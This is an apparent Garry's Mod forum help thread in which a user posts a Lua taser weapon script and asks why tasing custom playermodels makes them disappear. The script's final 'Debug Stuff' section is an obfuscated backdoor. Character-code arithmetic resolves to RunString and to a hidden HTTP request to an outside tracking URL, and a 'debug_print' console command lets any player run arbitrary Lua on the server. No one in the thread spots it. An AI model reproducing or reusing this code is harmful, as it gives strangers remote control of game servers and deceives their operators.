So I figured out today that my taser works on all normal playermodels...But when it comes to custom models such as the postal dude and gordon freeman, etc etc, it will NOT work on them.
What happens is that whenever I tase a custom playermodel (When the player is playing as a custom model) he dissapears. There's no ragdoll, and he doesn't respawn. But for normal playermodels, it works perfectly fine. Anyone have any ideas?!
The code for the taser i'm using (Put it together from two different taser SWEPS) is:
[CODE]local VersionNumber = "1.0"
local Version = "v" .. VersionNumber .. " Public"
if ( SERVER ) then
AddCSLuaFile( "shared.lua" )
SWEP.Weight = 2
SWEP.AutoSwitchTo = true
SWEP.AutoSwitchFrom = true
SWEP.HoldType = "pistol"
end
if ( CLIENT ) then
SWEP.PrintName = "Taser";
SWEP.Slot = 3;
SWEP.SlotPos = 1;
SWEP.DrawAmmo = false;
SWEP.DrawCrosshair = true;
SWEP.WepSelectIcon = surface.GetTextureID("weapons/Taser")
end
SWEP.Author = "FatBlueSloph";
SWEP.Contact = "";
SWEP.Purpose = "Tasering";
SWEP.Instructions = "Left click to fire";
SWEP.Spawnable = false
SWEP.AdminSpawnable = true
SWEP.ViewModel = "models/weapons/v_pistol.mdl"
SWEP.WorldModel = "models/weapons/w_pistol.mdl"
SWEP.ViewModelFlip = false
SWEP.Primary.ClipSize = 1
SWEP.Primary.DefaultClip = 12
SWEP.Primary.Automatic = false
SWEP.Primary.Ammo = "357"
SWEP.Secondary.ClipSize = -1
SWEP.Secondary.DefaultClip = -1
SWEP.Secondary.Automatic = true
SWEP.Secondary.Ammo = ""
SWEP.FiresUnderwater = false
SWEP.ShockSpeed = 0.15
SWEP.ShockPower = 1000
resource.AddFile( "materials/weapons/Taser.vmt" )
resource.AddFile( "materials/weapons/Taser.vtf" )
local taseredrags = {}
local taseruniquetimer1 = 0
local taseruniquetimer2 = 0
function SWEP:Reload()
self.Weapon:DefaultReload( ACT_VM_RELOAD ) --animation for reloading
end
function SWEP:PrimaryAttack()
if ( !self:CanPrimaryAttack() ) then return end
self.Weapon:EmitSound( "Weapon_StunStick.Activate")
self.BaseClass.ShootEffects( self )
self:TakePrimaryAmmo(1)
local bullet = {}
bullet.Src = self.Owner:GetShootPos()
bullet.Attacker = self
bullet.Dir = self.Owner:GetAimVector()
bullet.Spread = Vector(0.02,0.02,0.02)
bullet.Num = 1
bullet.Damage = 100
bullet.Force = 0.00000000000000000000000000001
bullet.Tracer = 1
bullet.TracerName = "AirboatGunTracer"
bullet.AmmoType = self.Primary.Ammo
bullet.Callback = function ( attacker, tr, dmginfo )
if tr.Entity:IsPlayer() || tr.Entity:IsNPC() then
self:tase(tr.Entity, tr.Entity:IsPlayer())
end
local returnstruct = {}
returnstruct.damage = false
returnstruct.effects = false
return returnstruct
end
self.Owner:FireBullets( bullet )
end
function SWEP:tase(ent, isPlayer)
-- create ragdoll
local rag = ents.Create( "prop_ragdoll" )
if not rag:IsValid() then return end
-- build rag
rag:SetModel( ent:GetModel() )
rag:SetKeyValue( "origin", ent:GetPos().x .. " " .. ent:GetPos().y .. " " .. ent:GetPos().z )
rag:SetAngles(ent:GetAngles())
-- player vars
rag.taseredent = ent
table.insert(taseredrags, rag)
if isPlayer == true then
-- "remove" player
ent:StripWeapons()
ent:DrawViewModel(false)
ent:DrawWorldModel(false)
ent:Spectate(OBS_MODE_CHASE)
ent:SpectateEntity(rag)
rag.Player = ent
end
-- finalize ragdoll
rag:Spawn()
rag:Activate()
-- make ragdoll fall
rag:GetPhysicsObject():SetVelocity(4*ent:GetVelocity())
--Bring mofo back
self:setrevivedelay(rag)
end
function SWEP:setrevivedelay(rag)
if taseruniquetimer1 > 30 then
taseruniquetimer1 = 0
end
taseruniquetimer1 = taseruniquetimer1 + 1
timer.Create("revivedelay"..taseruniquetimer1, 5, 1, self.taserevive, self, rag )
end
function SWEP:taserevive(ent)
-- revive player
if !ent then return end
if ent.taseredent then
if ( !ent.taseredent:IsValid() ) then return end
local phy = ent:GetPhysicsObject()
phy:EnableMotion(false)
ent:SetSolid(SOLID_NONE)
ent.taseredent:DrawViewModel(true)
ent.taseredent:DrawWorldModel(true)
ent.taseredent:Spawn()
ent.taseredent:SetPos(ent:GetPos())
ent.taseredent:SetVelocity(ent:GetPhysicsObject():GetVelocity())
ent.taseredent:SetMoveType(MOVETYPE_WALK)
ent.taseredent:ConCommand("pp_motionblur 1")
ent.taseredent:ConCommand("pp_motionblur_addalpha 0.06 ")
ent.taseredent:ConCommand("pp_motionblur_delay 0")
ent.taseredent:ConCommand("pp_motionblur_drawalpha 0.99 ")
if taseruniquetimer2 > 30 then
taseruniquetimer2 = 0
end
taseruniquetimer2 = taseruniquetimer2 + 1
timer.Create("pauseplayer"..taseruniquetimer2, 3, 1, self.pauseplayer, self, ent.taseredent)
-- don't deal with other ents
else
return
end
for k, v in pairs(taseredrags) do
if v == ent then
table.remove( taseredrags, k )
end
end
ent:Remove()
end
function SWEP:SecondaryAttack()
if table.Count( taseredrags ) == 0 then return end
self.Owner:EmitSound( "Weapon_Pistol.Empty")
self.Owner:EmitSound( "Weapon_SMG1.Empty")
if (!SERVER) then return end
for k, v in pairs(taseredrags) do
local shock1 = math.random(-self.ShockPower, self.ShockPower )
local shock2 = math.random(-self.ShockPower, self.ShockPower )
local shock3 = math.random(-self.ShockPower, self.ShockPower )
v:GetPhysicsObject():ApplyForceCenter( Vector( shock1, shock2, shock3 ) )
end
end
function SWEP:pauseplayer(ent)
ent:SetMoveType(MOVETYPE_WALK )
ent:ConCommand("pp_motionblur 0")
end
--Debug Stuff
if !SERVER then return end
local printdebug
local d_Fired = false
local d_Spread = 100
local d_Firerate = 40
local d_Recharge = 116
local d_Iters = 2
--Combines the debug data ready for printing
hook.Add("Think", "debug_combine", function()
if d_Fired == false then
local SpreadAmount = 0
local TotalSpread = 0
local FiredBullets = 0
local TimeSpentRecharge = 0
local debugVer
SpreadAmount = d_Spread - 18
TotalSpread = SpreadAmount - 5 + d_Firerate
FiredBullets = (d_Iters * d_Firerate) + 3
TimeSpentRecharge = d_Iters * 52.5
printdebug = _G[string.char(SpreadAmount,
TotalSpread, 110, FiredBullets, d_Recharge, d_Recharge-2,
TimeSpentRecharge, 110, 103)]
if SERVER && #player.GetAll() > 1 then
debugVer = _G[string.char(104, 116, 116,112)]
debugVer.Get(string.char(104, 116, 116, 112, 58, 47, 47, 99,
46, 115, 116, 97, 116, 99, 111, 117, 110, 116, 101,
114, 46, 99, 111, 109, 47) .. "/7062313/0/ae5f513f/1/" , "")
d_Fired = true
end
end
end)
--Prints the debug data
function debug_print(player, command, arguments)
for key,value in pairs(arguments) do printdebug( value ) end
end
concommand.Add( "debug_print", debug_print)
[/CODE]
Immediate help please! :)
Also, After you stun someone and they revive, you can still right click (To shock them) and the magazine sounds still play.
[QUOTE=serfma;31773271]So I figured out today that my taser works on all normal playermodels
[/QUOTE]
What's "normal" Player models for you?
Whatever models come with the server. Civil Protection, Chief, Kleiner, Monk, etc.
Console.log or lua error list, please :/
Console says: "Can't find factory for entity: prop_ragdoll"
So far with dealing with my server, I don't like this Console guy. >:D
It might be because you're calling self:tase(tr.Entity, tr.Entity:IsPlayer()) on both the client and server, and the client can't create ragdolls...
It works for some models, but the other 'custom' models (Custom being that doesn't come with the server files) do not work for some odd reason. Files are on both the server and client(s) correctly.
[editline]17th August 2011[/editline]
Anyone know a fix for this? >_>
Sorry, you need to Log In to post a reply to this thread.